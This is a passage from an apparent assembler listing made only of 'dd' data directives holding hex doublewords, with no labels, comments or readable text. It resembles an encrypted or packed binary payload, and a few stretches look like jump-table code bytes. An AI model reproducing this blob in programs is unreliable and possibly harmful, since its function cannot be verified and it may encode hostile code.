746FD055h, 0D850034Ah, 0F91A0F35h, 0CB0EDD94h dd 71D8EB69h, 8E17FDBAh, 0DDBEF724h, 2E9094Fh, 0F704AEA9h dd 296FDDBEh, 0B3A1F84Bh, 0C58239A0h, 0FB9301DFh, 9B28230Ah dd 0F2E3A808h, 0B31B7BDFh, 99F5D96Bh, 755B1838h, 0D9C00697h dd 0E6A364C6h, 34E12200h, 2806BD21h, 57BBB71Bh, 1B5818D8h dd 8BEDA2A9h, 56E017D8h, 0F9043E37h, 0B7A45331h, 5000000h dd 0F0187CB3h, 6D3BC080h, 4F086A8Fh, 0BC62B92h, 242EFF4Eh dd 163DDBEh, 0D6387B4Ah, 0D6A85815h, 5E3B361Dh, 47E3A8FEh dd 0A4611A80h, 0A4B79EBEh, 53A6843Fh, 573EB7C7h, 6926DD44h dd 0E13AA583h, 0FF258D88h, 874ED854h, 0C2A86524h, 0DCB7C4A2h dd 0C9E640A4h, 0CAEAA102h, 14778AE3h, 0ED527755h, 0BF246736h dd 3D41104h, 6F32CBD2h, 8C7FFh, 0B675D500h, 853EA4E7h dd 591073B6h, 28E3478Ah, 0FAB11659h, 0CB1E662Bh, 99DCAB66h dd 6FB28138h, 3F825108h, 0CA4F1EDDh, 2446E69h, 92FD850h dd 0DD94F914h, 207CE3F6h, 0C962AF3Ah, 6846662Ah, 0B770D215h dd 5AB391E8h, 0BEF7775Fh, 0FCDA20DDh, 6A1175D7h, 0FB9EE5h dd 4BDC7E1Fh, 12626586h, 758835F2h, 0B0965312h, 0B4BADD2h dd 0FFCEEEA5h, 0A5016376h, 0C9796537h, 975474C1h, 3B47ECB1h dd 72F64747h, 97682694h, 0E34457B0h, 0A7856B28h, 0A840059Ah dd 21084EE3h, 2C27AD0Eh, 0D857AC82h, 0CA87A7EDh, 5EC506E4h dd 296C3BFCh, 0A65310C7h, 0AC68524Dh, 613D857h, 57ACA30Bh dd 6686CCD8h, 41767B88h, 0B13D60ECh, 12C92BE0h, 46A7BA43h dd 2E0C683h, 0FFBC7BDDh, 918903B0h, 0BF18C350h, 89436B66h dd 0E62C5091h, 9189755Dh, 0FAD81E50h, 64C60F4Ch, 89F9E1DCh dd 5CA25091h, 0C82A6D3Ch, 0D203520Fh, 25509189h, 399B5021h dd 0F32AB382h, 0BFBEB5CEh, 0C5EAC87Bh, 37E7A463h, 0CCC7AE47h dd 6E88A723h, 0BB7EDFF2h, 1F064CDDh, 0E8A9A0E8h, 3C1AFB3Dh dd 0D0215DE9h, 560DEEE9h, 0B0F670BFh, 473FA4F3h, 0E0A044BFh dd 6D1A3193h, 655B6BA4h, 8A000004h, 4F8C3631h, 0B1F744BFh dd 5AB39AD3h, 0BEF7775Fh, 0FCDA20DDh, 0BEF7C7EFh, 78E34DDh dd 497DDDBFh, 0DEDDBEEBh, 0DDBEE3F0h, 51B6C8C6h, 98937A9Ah dd 0E3A81B7Fh, 18EFE228h, 6C5EE92h, 732D343h, 0E0400000h dd 0A3094C1Bh, 77DA1DECh, 4AAEF1C0h, 1A7FC291h, 0B9CB905Fh dd 4110CB30h, 0FDE9DFEh, 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh dd 92D85001h, 97F9776Ch, 1B7323E0h, 8E4B0269h, 0A6A188A8h dd 0E3ADE94Dh, 7901D016h, 40B1CD07h, 0F7955E59h, 5164E646h dd 947A37EEh, 14DF25B6h, 0F832BAE1h, 35308986h, 6687C98Dh dd 11C82FF6h, 0E9A513F1h, 0A9363118h, 0DA589114h, 172AD794h dd 0AC1AF8B3h, 3F3A21D2h, 228A4160h, 0D108EF35h, 13F3AD95h dd 0D5401E67h, 0D8A760C2h, 92CF3395h, 496D1A7Ah, 954CB152h dd 0A2598275h, 0CC8F070Ch, 6835Ch, 7A319100h, 490268ABh dd 15D4377Ah, 0E49F0346h, 0B66DD215h, 876222E7h, 55986722h dd 236635F4h, 0F33605BCh, 860BDA91h, 802A25h, 0C5EBD850h dd 25DEB0D0h, 0DC42B3Eh, 0D4C9C42Fh, 0A3E3A809h, 0F988F6Ch dd 0C2A08CF5h, 8B096A31h, 57A12690h, 0EB0B51D8h, 6B28482Eh dd 8D44ABBEh, 6F288AAFh, 7DB4FDB2h, 0BE03F09Dh, 47F5D3FEh dd 0ED06780Ah, 0F9F4CF06h, 550B757Ch, 753A66F3h, 0C6A49189h dd 6B43605Bh, 714E641h, 6C83A20Ch, 6787CDD6h, 83416D98h dd 0CB6D66Ch, 9AD66C83h, 0CB240BE4h, 0BA9853B8h, 7F9D74ADh dd 0F0D71DE8h, 0DDBB7ADDh, 915A4D9Ch, 208FCC7Fh, 0C1CC7F91h dd 6EB5A85Fh, 0B8D1C6DBh, 5BA85F5h, 68C80000h, 2B91D4A3h dd 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h, 0C99853B8h dd 97662586h, 6736ED54h, 3A09C224h, 715954B5h, 1AD8500Fh dd 0DEB0FFF4h, 0EA433E25h, 0B3E3ADE9h, 503ABA6h, 266CD850h dd 0CBC61F06h, 0D85005E3h, 0F109A18Ch, 0C6BDBB7Fh, 0E89F05A6h dd 2667452Bh, 0CF9E5DBFh, 0CE334943h, 0F90CF313h, 0BDFEDC93h dd 6433F456h, 0A467C8DBh, 883FA1C6h dd 490264CBh, 7BE258Ch, 0C782E34Ah, 0CC8D910Ah, 9FDCCA88h dd 6433F456h, 90BF53F8h, 19A20D8h, 0F64F0000h, 6C37EE3h dd 0E52F9720h, 61C4D850h, 70579DAAh, 50E54D75h, 12F036D8h dd 25DEB0D9h, 6FD2E53Eh, 3715FBB8h, 0A7FB412Ah, 241950E3h dd 9BA26471h, 5ADA88Fh, 6ED857CFh, 73B94A28h, 0CF7D67B6h dd 8B79D857h, 31C2BCCEh, 3CBAF14Ah, 0A05BC00Ah, 6075DDDBh dd 0FB8C7582h, 2F75E64Eh, 0FCBB1D60h, 4F5FDE15h, 25320843h dd 3D9F0647h, 433E977Eh, 0D66C529Bh, 8DE0BE04h, 8D748D01h dd 7AA85192h, 7C40AE8h, 54C0AB8h, 0A4F5B5CCh, 5E780546h dd 636EE4h, 0B0CF0000h, 0E53E25DEh, 0F8F371D2h, 0DDBEF7CEh dd 965373B9h, 38C5D2B0h, 8FE3A808h, 0E6933B36h, 35FCD857h dd 1CFA1AD1h, 0A360C48Bh, 32659C83h, 528176F4h, 408FD0AEh dd 0D857D292h, 0B13C7D3Dh, 0DD7E3D9Eh, 95E3C178h, 0D88BC6B6h dd 4E8CF003h, 8B712EEDh, 0EAC8AE6Bh, 923Bh, 0F6576A00h dd 0B2907633h, 0E097F979h, 9C57BC23h, 551678DFh, 74D8EB98h dd 0F7CDF5F0h, 70B6DDBEh, 0CFAD9350h, 0C08F48AAh, 9C22437h dd 7B88664Ch, 0DDBEFBAAh, 0EFBE7DDFh, 0F2592B63h, 39341B3Bh dd 0E3AAA8C4h, 8DA087CDh, 5FA27128h, 974C3FFAh, 45C5EC06h dd 3D61282h, 84E40000h, 4FB5F8C7h, 2386C998h, 0EE529564h dd 0BE236635h, 156F3403h, 0E5B46FD4h, 0BB8A41A2h, 8B5A1178h dd 5625E648h, 4D7570D1h, 36D8500Dh, 94F91B10h, 69CB0EDDh dd 0F98CE3B2h, 63B23B97h, 1562281Ah, 9D5A1174h, 73DA97B7h dd 348B5A11h, 0BF77AD11h, 77745ADDh, 4C42DDBEh, 98D1CCB3h dd 41E3AD69h, 0F08E3EFBh, 0A15E1D7Eh, 5BB49BBBh, 2126E924h dd 992CCBBh, 0D85171A1h, 3BA684CAh, 47882B40h, 4FB57CE6h dd 0D5F5DB98h, 0DF2357E2h, 9E0ED1CBh, 340h, 5E2DEE4Eh dd 2FFEB51Bh, 3D289ECh, 0D09F5CC0h, 0A271288Dh, 0DD42A7DDh dd 0B3145726h, 7FE629F8h, 54B6F9C8h, 0DE3FC493h, 500DFBE3h dd 897EA4D8h, 775F5AB3h, 20DDBEF7h, 75D7FCDAh, 3092F9B6h dd 1C7D9077h, 9BBB78DCh, 0C71AF8DEh, 0CBB2433Bh, 0D3CE56B8h dd 0DDBEF7EBh, 502E4E94h, 0DB9EAE5h, 7588E3A8h, 0B79D5A11h dd 450248D9h, 57E0C8F6h, 6633F3D8h, 8BD4C784h, 41ACD8h dd 0B00D0000h, 0E53E25DEh, 0D9B770D2h, 0A808C7CCh, 6D2A70E3h dd 57E5B01Eh, 30EB4FD8h, 6BA70C73h, 702D4D04h, 0EEA6F3F7h dd 0AA185919h, 0D88BB3A1h, 0CED2h, 0ADA80100h, 0D857E905h dd 2687286Eh, 0F94C8563h, 0C2F9E097h, 8121B0A9h, 8DCEAC69h dd 4D0AC126h, 6C384E6h, 64C12259h, 0E501B849h, 0C780E207h dd 2A1CCDF8h, 0D8EBDDBEh, 16FCB972h, 0FAB11338h, 0C586E82Bh dd 0CD265808h, 187A8DE6h, 0DEBCA25Fh, 0A72A30D1h, 0BD22E9E3h dd 8B17E606h, 201B02F3h, 0E6436CEDh, 0D58CF3BAh, 56BBCEB5h dd 62F1D9D4h, 549AD66Bh, 83DC6534h, 6B625E88h, 250349D6h dd 0EDE09B00h, 0CBD22874h, 19F0FD2h, 0F000002h, 0DA1DECAFh dd 0A9ECBB74h, 7DC08F46h, 50936219h, 9C6130EBh, 0E59C01E8h dd 0B772D316h, 873EA5E8h, 541375B8h, 0A49F0085h, 0D8500C3Ah dd 0F94A3F65h, 10683894h, 0E8F65BE0h, 54B6F9C8h, 0B06DC493h dd 433E25DEh, 0E3A808BEh, 0F16BFCE7h, 0B8F6673h, 4A812EEBh dd 0EC2422A4h, 37791C20h, 20EA8146h, 2A98A583h, 95D85744h dd 252684D5h, 4ED88C54h, 101h, 5F97F9AFh, 9C823FFAh, 0C2E299FBh dd 0E0455805h, 68238829h, 4900658Ah, 0B1E94F62h, 9674944Bh dd 0FB250655h, 86ADDBEh, 0DB3D804Fh, 0DFAF5F1Ch, 6A8A41A5h dd 0F9878883h, 5AA0E3A7h, 0B71F1A73h, 0E0D857FDh, 0EB8B39Ah dd 79D857FDh, 79025533h, 0EBAA0D20h, 57FD7862h, 0FFDD23D8h dd 2083FD91h, 25C6AC69h, 0FCE303C2h, 6B9CE5C5h, 0FEDCDA71h dd 0D1D69893h, 4B91E643h, 35EC5164h, 0FBF4174Eh, 0E90EC41Ch dd 0F82FB80Bh, 0CC1C5CB4h, 0EC50F1D2h, 0C72C512Fh, 0B9A2190Ch dd 31F4CBD2h, 0EBC1h, 0E299F900h, 0B16AD013h, 7D3C9FE2h dd 4C076BAEh, 1ED53A7Dh, 0EFFA8A4Fh, 0BD00CF8Ah, 8BCE9D5Ch dd 5B9E6D24h, 0EE7342F9h, 0A28928Dh, 2D53D850h, 5F5AB338h dd 0DDBEF777h, 0F8F3DA20h, 0DDBEF7CEh, 709573B9h, 5669500Bh dd 957B38EFh, 19D68DF4h, 0BF025533h, 80B79E5Dh, 0DD4C1844h dd 0D1240234h, 0E097F97Ah, 2637623h, 0E2446947h, 0B0CE5A29h dd 81A15ABEh, 0E9429F9Ah, 0CD13E3ADh, 9047A910h, 5B1C7EC1h dd 5BBAF19Eh, 6C98BFB3h, 3DBAC7A5h, 84396533h, 1072BBF8h dd 232D9590h, 1056B904h, 7CDE21F0h, 687BD4BBh, 0A58B4803h dd 423B21Ch, 0D5D0DDB9h, 0B90423EDh, 52305096h, 8D46AA11h dd 723F6BD0h, 65FB57B9h, 68896315h, 72B584A4h, 2A9A5710h dd 14h, 437CB389h, 33F54B93h, 686C5651h, 0D117DDBEh, 7732D3B1h dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h, 18D58CF1h dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h, 0DFE6881h dd 34890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 68240489h dd 4E04h, 0B8241489h, 364F64ACh, 0B504832Dh, 0BE564039h dd 52752D2Ah, 657FF681h, 0E6C1474Dh, 92F68108h, 31C13CC7h dd 8B545EF0h, 0C4812414h, 4, 0C3895351h, 895BD989h, 0FF59084Ah dd 815A2434h, 4C4h, 24048B00h, 81E68956h, 4C6h, 4C68300h dd 5C243487h, 0FB4B98E9h, 10B874FFh, 305EEFEh, 5DE0FFC5h dd 0DF286637h, 933353EFh, 0D01205E5h, 4F26ECC2h, 942DCAE6h dd 4237BD52h, 152FD837h, 4607FAAh, 38186F5Ch, 8D1031FDh dd 0EEFF3A8Dh, 28D48005h, 26558D89h, 0D78B05E9h, 80585C7h dd 5BD805E9h, 8D890000h, 5E929F1h, 163D85C7h, 5E9h, 0B5890000h dd 5E900A5h, 4BDB5FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8BCDB1C3h, 0C595FFF0h dd 2905E90Bh, 0E92B25B5h, 0D8C0F05h, 60000000h, 78E88166h dd 870F97h, 61000000h, 95FF006Ah, 5E91E95h, 69EBC08Bh dd 46064661h, 3CB83BADh, 7DA6EDEBh, 0F99C8168h, 263002CEh dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h, 1C40C24Bh dd 0F7A30A5Fh, 79EB6Eh, 8CEF9E7Dh, 0D60FE221h, 979FABAFh dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h dd 0ABAFF600h, 9F8995h, 0C77156F0h, 0BEB3D7h, 0D7567118h dd 73E2ADC4h, 29195EBEh, 0FCEE9h, 1C76800h, 0C4E905EFh dd 68FFFA7Fh, 5EF02F4h, 0FA7FBAE9h, 3BC68FFh, 0B0E905EFh dd 68FFFA7Fh, 5EF053Ch, 0FA7FA6E9h, 5DB68FFh, 9CE905EFh dd 68FFFA7Fh, 5EF0680h, 0FA7F92E9h, 72868FFh, 88E905EFh dd 68FFFA7Fh, 5EF07D5h, 0FA7F7EE9h, 88168FFh, 74E905EFh dd 68FFFA7Fh, 5EF095Dh, 0FA7F6AE9h, 0B0568FFh, 60E905EFh dd 68FFFA7Fh, 5EF0D81h, 0FA7F56E9h, 0E7168FFh, 4CE905EFh dd 18FFFA7Fh, 0AE94B1D8h, 40264372h, 0D1B7D403h, 60466396h dd 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h, 0F5286248h dd 7C2A0BD8h, 13261A3Ah, 0C28D6BC4h, 63275588h, 91C0FC29h dd 81D9122Fh, 37C06E11h, 371C3223h, 598893C1h, 707DB08Eh dd 0A268D771h, 0A72B8132h, 50722CC9h, 0A713208Bh, 943C6F06h dd 8C452642h, 27h, 0A7176F52h, 294D5604h, 43B91C32h, 0B457D15h dd 19B21320h, 0A4D2053Fh, 6D083DDAh, 26C6923Eh, 0D88E45h dd 7B540000h, 63467A1h, 789FE03Ch, 88BBF5DBh, 2D58965Ah dd 0CE013BFFh, 7EBB95A0h, 0BA57214Fh, 4A679AD4h, 0C9177B90h dd 4A7DB716h, 0E00D472Dh, 804A789Fh, 81D9F01Eh, 0BC06E11h dd 4B1C31F4h, 631132D5h, 13203A23h, 0E3C6BA7h, 8735EC44h dd 13203AC7h, 52EF51C7h, 0AA1A72ABh, 0CF0CE607h, 454903A0h dd 0C919C6B2h, 2EC4DF04h, 0A6CE58Ch, 2A4F8D67h, 0C993C1ECh dd 431D4A67h, 0E1ABD904h, 0F5205E44h, 72C3BEC4h, 59150D6Fh dd 0D9Eh, 7794BBFBh, 9265591h, 9AB7E623h, 294679B4h, 0BDDA0543h dd 539129B9h, 0E4250B28h, 7BBAA0BDh, 134D3350h, 15F6C3E0h dd 261B2767h, 704EA713h, 3C5984C2h, 46E91C56h, 1A377725h dd 41B716C9h, 0A4124990h, 37D43730h, 5A7B6290h, 0C91AEAACh dd 0E17EF416h, 3DE050A8h, 3229928Fh, 4984F41Ch, 4EB0DF1Ch dd 5684B7F2h, 0F1FC2A8Ch, 2E5CDA17h, 0E2D71F1Ah, 2BF52385h dd 5CEED48Eh, 68091320h, 91F29E0Dh, 0E0EE4526h, 0B5000000h dd 0F509A486h, 0C5628C24h, 5588C297h, 0FA256327h, 1292C1CCh dd 4A7DB8E8h, 0E2A1521Ch, 76CF8073h, 0E23FD5F1h, 0F506C05Dh dd 0F616C909h, 1B2DD1Ch, 0F7756326h, 12F895D8h, 5B88A5D8h dd 0E5134681h, 6A2CDAh, 0FE7416C9h, 0DF19FF9Ch, 0F677EACh dd 0FD4EFC9Fh, 391C31EDh, 0FD5F8AC9h, 0DF4FA7E0h, 4CFA1B3Ch dd 1320230Ah, 0C7811E94h, 19C6BC74h, 84A548BEh, 96F1B563h dd 0B8F916CBh, 26C33991h, 0A0DD0240h, 0ADD41571h, 0A482E4Bh dd 96AEF09Eh, 0BA3016CBh, 6B072758h, 3E366F72h, 0C7182h dd 678ECE00h, 0F928644Ah, 8AB9F6DCh, 194C876Dh, 0ADD816FCh dd 5C568C90h, 0F0D6F31Eh, 856B88AFh, 18FE1B46h, 0C18EABDEh dd 186C32E0h, 19721326h, 5984C23Bh, 0E91C563Ch, 88C59FCCh dd 0C28EBC59h, 63275588h, 7953F629h, 0AED5163Bh, 0F854B680h dd 945E8CBBh, 2D6A50F7h, 0D20CD0FEh, 3455829Fh, 0C91AC086h dd 0BB58CE16h, 0C61E2D97h, 0E005B356h, 2E1C321Ch, 0CEF389B8h dd 0E16BA607h, 0B7DE1F89h, 25206614h, 38AEE4AAh, 0EC8533D6h dd 3AEE5113h, 277F96C4h, 3B86C876h, 9208E143h, 999B8AE1h dd 157746D9h, 0F0ADC472h, 7FF5EBBFh, 95C802DCh, 221C4B78h dd 8999A371h, 0BEF8DE7Bh, 0C8485A8Bh, 8F877D0Eh, 0BA9D3h dd 9FC60600h, 31609C82h, 0C2F12E14h, 5184BFA5h, 0E5104E34h dd 941EC4C8h, 280E2B56h, 0BDA3C0E7h, 5036537Eh, 0F9C6E316h dd 19246A18h, 51AA1326h, 5A4C7B73h, 5096AB6Bh, 7333E184h dd 7B16C9C8h, 48826805h, 78D0E715h, 73A1D40Eh, 0F6A447A9h dd 1C312ED1h, 518AA71Dh, 0D49A48F9h, 0DA1320E6h, 0B15F0264h dd 19DBEA00h, 0B7C2F066h, 0E2A6E896h, 2FDD16C9h, 16C9E26Fh dd 0EAA1F96Fh, 0C9E27A3Ch, 0AC0E8416h, 0E26D550Fh, 0F18A16C9h dd 0EABDA17h, 410F9CD9h, 5F40CF2Fh, 47h, 0A7176F25h, 5C395604h dd 0F851C32h, 2853926Ch, 0F0B66485h, 0FA132054h, 986290BBh dd 862DCA40h, 205488CCh, 0A1D40E13h, 6F2FDDFEh, 6B132054h dd 2FA5FD30h, 0C605EB92h, 88626D9Bh, 25EF1D4Ch, 0AC8AA88h dd 7BEA0000h, 48F662A1h, 16C91A06h, 82B01288h, 8AE21BB8h dd 8AB8DF20h, 0DBB5EC0h, 1C341A5Eh, 1C4BEE64h, 5C28D2A5h dd 76A340B5h, 122F629Ch, 91BFF22Ch, 0FB2227Ah, 0DD35F761h dd 0D6843B19h, 16C81B90h, 54ACDF1Ah, 0B8D97CDEh, 0C81B440Ah dd 37D44A16h, 0CE0FE90Ah, 12AF79A7h, 86C5F22Ch, 0C9F72261h dd 646F9DFFh, 0C81BF0B6h, 2688FE16h, 84721C4h, 164581DDh dd 0B2ECD279h, 0B6184B85h, 0A9197188h, 0CC85D706h, 5D6C3F78h dd 6CE593C0h, 0FA1C33B7h, 50E75384h, 3E36698Ch, 0A2982h dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h dd 1FA4EA98h, 0D12A1326h, 1AD4EEF3h, 83DB16C9h, 0EC27013h dd 91C32CBh, 98C6F12Fh, 0D94F31CEh, 0EF225C36h, 85B2ECD2h dd 1FE9174Ah, 72EB1ABDh, 0E17FD1C8h, 58BAE523h, 214707B5h dd 0D1471327h, 42717C34h, 4A2B67DAh, 0D7852809h, 1327F897h dd 0CB04A117h, 9DCC0973h, 0A043A56Fh, 0F7F24871h, 0A23FE35Dh dd 0D1E6C775h, 0B22819DFh, 6DF30381h, 3EFAF26Fh, 98Ah dd 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h, 0A9C6F12Fh dd 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h, 0F9DAA7C4h dd 261F0B4Bh, 5C3A9313h, 205B88C2h, 995D8BEDh, 6EFE2C5Fh dd 0DB85264Fh, 0D540CFD3h, 3F5h, 0A7176F9Bh, 0CBEE5604h dd 0BE341C32h, 0D407411Bh, 0F9361031h, 0E5D49ACAh, 64DA1327h dd 3A20C7h, 11502ACDh, 51EEB8E6h, 0E5C10199h, 96EE1327h dd 0F0D58326h, 0F319DF03h, 0FACDF19h, 4F82BD2Dh, 616F0821h dd 90AC88BEh, 0BA387D2Eh, 390A830Fh, 0D02EA6D7h, 29216F6Dh dd 8E56Dh, 0DB024200h, 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h dd 214C8A70h, 0D8E20004h, 6C526F9Ah, 1E7042Bh, 947A97C2h dd 3D0A275Ah, 1CE8AE5Ch, 9DF61326h, 5588C2BFh, 6C9BD8B2h dd 42D783BBh, 67040C64h, 7EB1EBAFh, 0D4A1C050h, 0CFB409D7h dd 3472740h, 14EE0000h, 5503A6D9h, 16C94511h, 5C8A279Dh dd 0C91AD4EEh, 1383DB16h, 0CB4CC270h, 1C921C32h, 0E3659F79h dd 0D696B087h, 143B7C86h, 4D3350B2h, 1C3DE013h, 27D8286Eh dd 0A340B613h, 0C7CD4EBh, 306E4869h, 89AE6805h, 0D519DF3Eh dd 0AE42E5Fh, 736B6F6Dh, 83DB7h, 335A9A00h, 0C5F43016h dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch, 0C4AAC7F2h dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 1D4006B4h, 0F54E1326h dd 62A17B17h, 7AB49A37h, 1B551947h, 1AB5F9A7h, 0C33916C9h dd 84A33361h, 0D316BAF1h, 24FE40CFh, 2206B7EAh, 309C7BE5h dd 924061FEh, 6000002h, 0C91AD4EEh, 1383DB16h, 0DDA14F70h dd 0E116C91Ah, 541AC86Bh, 5A16C91Ah, 6C1A47E4h, 1C32CB93h dd 0A1C265DBh, 9144A072h, 54F16B53h, 0C907346Eh, 391F3C9Eh dd 879ECCFFh, 6E1CBF2Fh, 19DCD3A9h, 4A8EBF35h, 56F6D35h dd 790510Dh, 0ADED0000h, 47836986h, 0D815FB18h, 6BA68CA9h dd 0F7351B38h, 37ABAFCCh, 0F5123D7Bh, 8AA7CE0Fh, 1D3A65A4h dd 0ADCAFD37h, 0D51FFE0h, 9113261Dh, 0A17B5A38h, 3D073564h dd 4D80BAA0h, 0EE215B1Fh, 471D0C0h, 163366A0h, 57D10FE9h dd 0F1D4D979h, 943193F1h, 0CFF8EBB5h, 70540h, 0CACB0000h dd 1E1h, 1AAEEE0Ah, 85DD16C9h, 5B987215h, 9734FE2Ch, 1AFEBC6Ah dd 82F81C34h, 9ECB05DFh, 0CBFA3764h, 4371D39Dh, 14FA1779h dd 6279A7DAh, 0EBAB590Ah, 0F313261Ah, 0CA781B7Dh, 19DD1605h dd 8CE21389h, 0BB6F6EF2h, 6E407C3h, 1410000h, 9BD7BDDAh dd 2C694F6Ch, 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h dd 0E6032A6Bh, 7996C100h, 9265993h dd 0E9AD5B3Ch, 0F5132612h, 88C2BE9Ch, 65D8B906h, 5CFFD24h dd 0DE31BE54h, 508A4E7Ch, 65A07A1Dh, 0EDDD9532h, 4776E78Eh dd 9EB62567h, 0E5227EEFh, 21BE88B6h, 2BCE013Bh, 531A5C0Ah dd 0EDA416C9h, 0C9537F3Fh, 0A7097F16h, 5C36630Ah, 0E0A99F21h dd 98BCF424h, 0A13E0836h, 0CF211EC2h, 71240h, 0CAD80000h dd 109h, 1AAFEE0Ah, 84DC16C9h, 21507114h, 50D86349h, 0AB59FC59h dd 16C981EBh, 26E07DF3h, 1C34816Fh, 2815F928h, 6B1C4F89h dd 0C461D833h, 0EFC96CE2h, 7F6582B5h, 0CDE41245h, 0B4620575h dd 19DD0773h, 24D4057Bh, 736F6EE2h, 608BF7Bh, 25650000h dd 0BFFBE1FEh, 508D7390h, 0E31E0421h, 6FAD93B0h, 0BF232744h dd 6D8AB5F3h, 21F4687h, 95B2DD1Ch, 254275AFh, 85C97758h dd 9132613h, 88C2D2B0h, 0FB1C2755h, 0C91A094Dh, 0E6259516h dd 0C0FD59BBh, 0D40EF491h, 0AEDDFEA1h, 8EE8E041h, 0F8BEEE8Dh dd 616C9F0h, 773BF390h, 1BDF0D38h, 9080AEE1h, 25604431h dd 0A90890F2h, 2A9ED8CCh, 0C9F03A7Ch, 0EC4EC416h, 3D20F0CFh dd 5A3440CFh, 5A94F01Bh, 922FF927h, 771h, 2ACA3700h, 0A000000h dd 275588C2h, 0C8F62963h, 6D9BC604h, 12406BA9h, 1A155907h dd 239916C9h, 594530A7h, 0BFE590B3h, 57355285h, 3Dh, 5B88C297h dd 5F8DEF1Eh, 0F3E7A54h, 1A8BB872h, 5FD816C9h, 78264716h dd 16C91A36h, 0F24A75B4h, 0B3E6207Ch, 381EBB85h, 9A417CFEh dd 92C1F204h, 66C8FB36h, 4421C49h, 44E1ABD9h, 5588C216h dd 6F9AD8B2h, 22DA7741h, 2BC7F617h, 0EF3202C7h, 32DCA2D2h dd 6CE216C9h, 325B1BC9h, 0ED6316C9h, 4FBF1750h, 32AFFEACh dd 0BD331C34h, 0E11FF91Ah, 21BE88B6h, 2BCE013Bh, 48E51451h dd 5B9A74A1h, 327D41EFh, 0B811326h, 14B17BA9h, 1EC1F42Eh dd 9BDC0944h, 1A7C4674h, 56AEC57Dh, 482243E6h, 0E5AFDD0Ch dd 811E4D89h, 0DDE36DC7h, 9C3FB519h, 0EAAC5A7Bh, 0F016C8CDh dd 0B62C84B3h, 0C6F93319h, 12540223h, 9C16C8CDh, 91D58326h dd 1D16C8CDh, 7D630AA7h, 0CBE21043h, 0B2600373h, 1C33CB21h dd 0FC9ECF45h, 33698C1Ch, 4607F3Bh, 7DBD0000h, 17533956h dd 0A8E5CBE8h, 3B765C79h, 0C705EB08h, 677B7F9Ch, 0C5E20D4Bh dd 5A779EDFh, 0ED0A3574h, 7D9ACD07h, 5D21CFB0h, 61132611h dd 88C22A08h, 9CD8B255h, 0C4753F6Dh, 0B1D43A01h, 8F36D3E1h dd 0D0203362h, 0C29F1E93h, 612B5984h, 427C62FFh, 51926C0Fh dd 11D58D2Ah, 8676A4D7h, 1C564E27h, 23EDCCE9h, 3140CF0Dh dd 2A38DB02h, 0D6739985h, 31B5h, 0AD5B7C00h, 16C985E9h dd 0B4E27FF5h, 4A7176Fh, 325C3956h, 0DB15851Ch, 0C9A346A8h dd 88425F8Ah, 132054C4h, 405D90CAh, 0C2F01B5Ah, 3B906h dd 176F4600h, 0B4A6FADh, 791C7EE0h, 31F24ECBh, 69A37D1Ch dd 41B79936h, 0F22E0813h, 2C7220C3h, 0B213203Dh, 7FB99F3Ch dd 0ED101E4Ch, 171C988h, 0D52BB05Eh, 0B52B19D8h, 97075F98h dd 0F2C546F4h, 0DB511C31h, 0F41F5E38h, 66A0FCC6h, 1ADE9633h dd 9F83B1DCh, 0AC044D28h, 78DA0142h, 0D5A227D5h, 3EB419D8h dd 8D013B21h, 0C91A9FDFh, 0BA681F16h, 16C91AF4h, 0C02284FAh dd 6194CE92h, 43B30B44h, 2365F2A0h, 7D9E1C32h, 200C8FCFh dd 3F06B613h, 0A7CFE5B7h, 8836D94Fh, 132073C6h, 0D3B552C8h dd 0F5242F5Dh, 0BDF80D94h, 0E1925C8Ah, 0F12D7C49h, 9C360C2h dd 1320A039h, 0F576A53Eh, 2C5F99A9h, 0DC8334FEh, 473C2FC7h dd 33F4898Fh, 76FF34D1h, 0A2D10DE7h, 40DD0846h, 26FDBF61h dd 6CB145h, 9E780000h, 0A0DA365Dh, 0D8753F6Dh, 66176FAAh dd 1AD79745h, 61D716C9h, 0C91A6D31h, 0C6017116h, 399B6593h dd 9D8634D7h, 0E91C3229h, 95AD4573h, 0ED13200Bh, 0CD913FB3h dd 0D113200Bh, 7CBF95Bh, 7E6E9CCBh, 0E148561Fh, 35792748h dd 0B913200Bh, 0B3E10849h, 0B5EA87E9h, 0CE7C9DC0h, 13200B88h dd 2403A016h, 4526C67Ch, 0CB74h, 88C23A00h, 25632755h dd 1A4B0BB9h, 0DD5316C9h, 4F894D7Bh, 0F02AEE1Ch, 15E6A0BDh dd 5D16C917h, 2C4DF023h, 0C919387Eh, 0B350C616h, 10BEDF0Ch dd 16C9194Eh, 573DDA50h, 0A5BCEA1Dh, 8C3ADD4Dh, 1C321623h dd 9FD8F56Bh, 1334D747h, 1C0244F2h, 93331320h, 0BE1222FDh dd 87249AF2h, 0C668E2CDh, 0FB22819h, 0E68867E0h, 0C562543Ah dd 0A8567798h, 16CB88E6h, 0EFD572E8h, 836986B1h, 2DE91A45h dd 0A06F7265h, 1E4ECA8h, 1410000h, 9BD7BDDAh, 